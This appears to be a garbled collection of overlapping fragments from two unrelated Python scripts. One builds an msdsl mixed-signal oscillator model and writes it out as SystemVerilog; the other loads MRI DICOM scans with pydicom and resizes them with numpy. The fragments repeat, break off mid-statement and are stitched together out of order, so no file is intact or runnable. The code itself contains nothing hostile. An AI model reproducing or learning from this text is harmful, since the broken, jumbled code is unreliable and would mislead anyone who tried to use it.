period", "default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create the model m =", "the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to:", "m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next", "if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename", "parse command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float,", "arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a =", "= Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to: {filename}') # generate the", "m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the", "rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo,", "from argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_", "pathlib import Path from argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from", "msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running model generator...')", "# determine the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be", "= MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi',", "32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the request was granted", "determine the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written", "m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename filename = Path(a.output).resolve()", "was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val,", "granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val,", "if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) #", "main(): print('Running model generator...') # parse command line arguments parser = ArgumentParser() parser.add_argument('-o',", "/ f'{m.module_name}.sv' print(f'Model will be written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(),", "# create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt',", "model generator...') # parse command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str,", "rst=m.emu_rst, check_format=False) # determine the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model", "= parser.parse_args() # create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req',", "Path from argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import", "next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine", "print(f'Model will be written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename) if", "# update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val,", "m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine", "line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a", "m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the", "filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to: {filename}') #", "# determine if the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update", "generator...') # parse command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build')", "if_ def main(): print('Running model generator...') # parse command line arguments parser =", "type=float, default=0.1e-6) a = parser.parse_args() # create the model m = MixedSignalModel('osc', dt=a.dt)", "determine if the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the", "period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the", "m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine", "ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create", "def main(): print('Running model generator...') # parse command line arguments parser = ArgumentParser()", "32) # determine if the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) #", "from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running model", "type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create the model m", "32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the request", "written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename) if __name__ == '__main__':", "argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def", "'--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create the model", "m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next',", "parser.parse_args() # create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32)", "m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if", "filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to: {filename}') # generate", "m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the request was granted m.bind_name('req_grant', m.dt_req", "m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32)", "VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running model generator...') # parse command", "m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi))", "32) m.add_digital_input('t_hi', 32) # determine if the request was granted m.bind_name('req_grant', m.dt_req ==", "m.dt_req - m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req,", "dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) #", "to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename) if __name__ == '__main__': main()", "ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running", "create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32)", "f'{m.module_name}.sv' print(f'Model will be written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename)", "determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request", "m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period", "clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv'", "the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val')", "m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk,", "parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args()", "m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the request was", "output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to: {filename}')", "if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) #", "import Path from argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras", "request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val')", "update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val))", "m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename filename", "check_format=False) # determine the output filename filename = Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will", "the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) #", "be written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename) if __name__ ==" ]
[ "help=\"don't use STM\") (options, args) = parser.parse_args() if len(args) != 1: parser.error(\"missing ELF", "ELF file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m", "m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for", "m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in osd.get_modules(\"MAM\"): m.loadelf(elffile, options.verify) osd.start() osd.wait(120)", "optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False,", "default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\",", "if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in osd.get_modules(\"MAM\"): m.loadelf(elffile,", "parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use", "action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args) = parser.parse_args() if len(args) !=", "parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\")", "dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\",", "from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\",", "import sys from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\",", "len(args) != 1: parser.error(\"missing ELF file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True)", "default=True, help=\"don't use STM\") (options, args) = parser.parse_args() if len(args) != 1: parser.error(\"missing", "options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()),", "m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in osd.get_modules(\"MAM\"):", "parser.error(\"missing ELF file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for", "= OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\",", "for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile)", "file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in", "parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\") elffile = args[0] osd =", "1: parser.error(\"missing ELF file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm:", "action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\")", "dest=\"stm\", default=True, help=\"don't use STM\") (options, args) = parser.parse_args() if len(args) != 1:", "if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"):", "opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m", "STM\") (options, args) = parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\") elffile", "OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\",", "args) = parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\") elffile = args[0]", "parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args) = parser.parse_args() if len(args)", "= parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\") elffile = args[0] osd", "= opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for", "CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args) = parser.parse_args() if", "import opensocdebug import sys from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options]", "sys from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\",", "in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m", "if len(args) != 1: parser.error(\"missing ELF file\") elffile = args[0] osd = opensocdebug.Session()", "use STM\") (options, args) = parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\")", "osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in", "options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in osd.get_modules(\"MAM\"): m.loadelf(elffile, options.verify)", "args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if", "osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm: for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in", "for m in osd.get_modules(\"CTM\"): m.log(\"ctm{:03d}.log\".format(m.get_id()), elffile) for m in osd.get_modules(\"MAM\"): m.loadelf(elffile, options.verify) osd.start()", "loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True,", "!= 1: parser.error(\"missing ELF file\") elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if", "= args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id()))", "help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args) =", "parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use", "<filename>external/opensocdebug/software/src/bindings/python/examples/runelf.py import opensocdebug import sys from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog", "use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args) = parser.parse_args()", "help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\",", "<elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't", "default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options, args)", "memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't", "import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify", "elffile = args[0] osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"):", "OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded", "opensocdebug import sys from optparse import OptionParser parser = OptionParser(usage=\"usage: %prog [options] <elffile>\")", "[options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True,", "action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\", default=True, help=\"don't use CTM\")", "dest=\"ctm\", default=True, help=\"don't use CTM\") parser.add_option(\"--no-stm\", action=\"store_false\", dest=\"stm\", default=True, help=\"don't use STM\") (options,", "%prog [options] <elffile>\") parser.add_option(\"--verify-memload\", action=\"store_true\", dest=\"verify\", default=False, help=\"verify loaded memory\") parser.add_option(\"--no-ctm\", action=\"store_false\", dest=\"ctm\",", "osd = opensocdebug.Session() osd.reset(halt=True) if options.stm: for m in osd.get_modules(\"STM\"): m.log(\"stm{:03d}.log\".format(m.get_id())) if options.ctm:", "(options, args) = parser.parse_args() if len(args) != 1: parser.error(\"missing ELF file\") elffile =" ]
[ "= Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY) d", "Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY) d =", "e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY) d = f.decrypt(d.encode(\"utf-8\"))", "def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f", "= e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY) d = f.decrypt(d.encode(\"utf-8\")) return", "FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode()", "from cryptography.fernet import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e", "import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\")", "= os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def", "os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d):", "Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return", "encrypt(e): f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f =", "e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY) d = f.decrypt(d.encode(\"utf-8\")) return d.decode()", "import os from cryptography.fernet import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f =", "<reponame>ebunt/pulse<gh_stars>10-100 import os from cryptography.fernet import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f", "os from cryptography.fernet import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY)", "f = Fernet(FERNET_KEY) e = e.encode(\"utf-8\") return f.encrypt(e).decode() def decrypt(d): f = Fernet(FERNET_KEY)", "cryptography.fernet import Fernet FERNET_KEY = os.environ.get('PAPER_FERNET_KEY') def encrypt(e): f = Fernet(FERNET_KEY) e =" ]
[ "(str): The path to the folder containing the MRI scans of THE patient", "x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x *", "print(\"error\") slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness", "{max_l}\\n\".format(max_l=max_length, min_l=min_length)) if square == False: max_width = max(widths) min_width = min(widths) print(\"Min", "a list containing the dimensions of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray):", "MRI scans of individual patients ''' master_path = master_path + '/MR/' patients_name =", "that make up the scan Returns: scans_not_square (list): A list containing the indices", "load the MRI scans. Parameters: path (str): The path to the folder containing", "numpy as np import os import pandas as pd import pydicom def load_data(master_path,", "delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum", "# for s in os.listdir(path): # if s == '.DS_Store/': # print(\"found ds\")", "image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data, new_dimensions): ''' This function", "or replace it with your code. # Press Double ⇧ to search everywhere", "''' This function resizes a numpy array. TO DO: method used for interpolation?", "if len(scans_not_square) != 0: square = False # for i in range(len(patients_dcm)): #", "array. TO DO: method used for interpolation? Parameters: data (numpy.ndarray): a numpy array", "if square == False: widths.append(patients_dcm[i][0].pixel_array.shape[1]) max_length = max(lengths) min_length = min(lengths) max_height =", "return new_data def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and maximum dimensions", "= False # for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: #", "[z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the desired dimensions ''' initial_size_x", "[min_length, max_length], [min_width, max_width], [min_height, max_height] # Press the green button in the", "patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized", "path to the directory containing the scans of all patients new_dimensions (list): a", "a numpy array with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y =", "[min_height, max_height] = get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom", "# importing important librarires import itertools import matplotlib.pyplot as plt import numpy as", "max_length = max(lengths) min_length = min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min", "as pd import pydicom def load_data(master_path, new_dimensions): ''' This function is used to", "in scan]) image = image.astype(np.int16) np_image = np.array(image, dtype=np.int16) return np_image def resize_data(data,", "Parameters: scan (list): A list containing the slices that make up an MRI", "Paramters: patients_dcm (list): A list containing the MRI scans. Each MRI scan is", "-1 print(\"All images are squares\\n\") print(\"Min height: {min_h} \\nMax height: {max_h}\\n\".format(max_h=max_height, min_h=min_height)) return", "numpy array\") patients_resized = [] for patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have", "scan into a numpy array Parameters: scan (list): A list containing the slices", "[pydicom.read_file(path + '/' + s) for s in os.listdir(path)] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) try:", "slices that make up the scan Returns: scans_not_square (list): A list containing the", "(list): a list containing the dimensions of the new scan [z,x,y] Returns: new_data", "slices \"\"\" scans_not_square = [] for i in range(len(patients_dcm)): # we compare only", "a scan into a numpy array Parameters: scan (list): A list containing the", "max_width], [min_height, max_height] # Press the green button in the gutter to run", "as np import os import pandas as pd import pydicom def load_data(master_path, new_dimensions):", "first slice because all of them in one scan have the same dimension", "of the new scan [z,x,y] Returns: patients_resized (numpy.ndarray): a numpy array containing numpy", "[min_height, max_height] # Press the green button in the gutter to run the", "slices = [pydicom.read_file(path + '/' + s)] slices = [pydicom.read_file(path + '/' +", "This function is used to get the dimensions of all scans Parameters: patients_dcm", "data (numpy.ndarray): a numpy array representing an MRI scan new_dimensions (list): a list", "= np.abs(slices[0].SliceLocation - slices[1].SliceLocation) for s in slices: s.SliceThickness = slice_thickness return slices", "False: max_width = max(widths) min_width = min(widths) print(\"Min width: {min_w} \\nMax width: {max_w}\\n\".format(max_w=max_width,", "the green button in the gutter to run the script. if __name__ ==", "new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def get_extreme_dim(patients_dcm):", "patient in patients: patients_resized.append(resize_data(patient, new_dimensions)) print(\"Scans have been resized to {size}\".format(size=patients_resized[0].shape)) return patients_resized", "the same dimension if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\")", "function resizes a numpy array. TO DO: method used for interpolation? Parameters: data", "initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in", "heights = [] square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square) != 0:", "# if patients_dcm[i][0].pixel_array.shape[0] != patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all images", "containing the slices that make up an MRI scan Returns: np_image (numpy.ndarray): A", "!= patients_dcm[i][0].pixel_array.shape[1]: # square = False # print(\"Not all images are squares\") for", "master_path + '/MR/' patients_name = os.listdir(master_path) patients_dcm = [] # contains the samples", "Each MRI scan is a list of the slices that make up the", "= [] heights = [] square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square)", "= data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y =", "minimum and maximum dimensions of all scans. \"\"\" lengths = [] widths =", "maximum dimensions of all scans Paramters: patients_dcm (list): A list containing the MRI", "!= 0: square = False # for i in range(len(patients_dcm)): # if patients_dcm[i][0].pixel_array.shape[0]", "numpy array containing numpy arrays representing MRI scans of individual patients ''' master_path", "actions, and settings. # importing important librarires import itertools import matplotlib.pyplot as plt", "an MRI scan new_dimensions (list): a list containing the dimensions of the new", "# Press the green button in the gutter to run the script. if", "This function is used to load the MRI scans. Parameters: path (str): The", "data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x", "containing the scans of all patients new_dimensions (list): a list containing the dimensions", "square = False # for i in range(len(patients_dcm)): # if 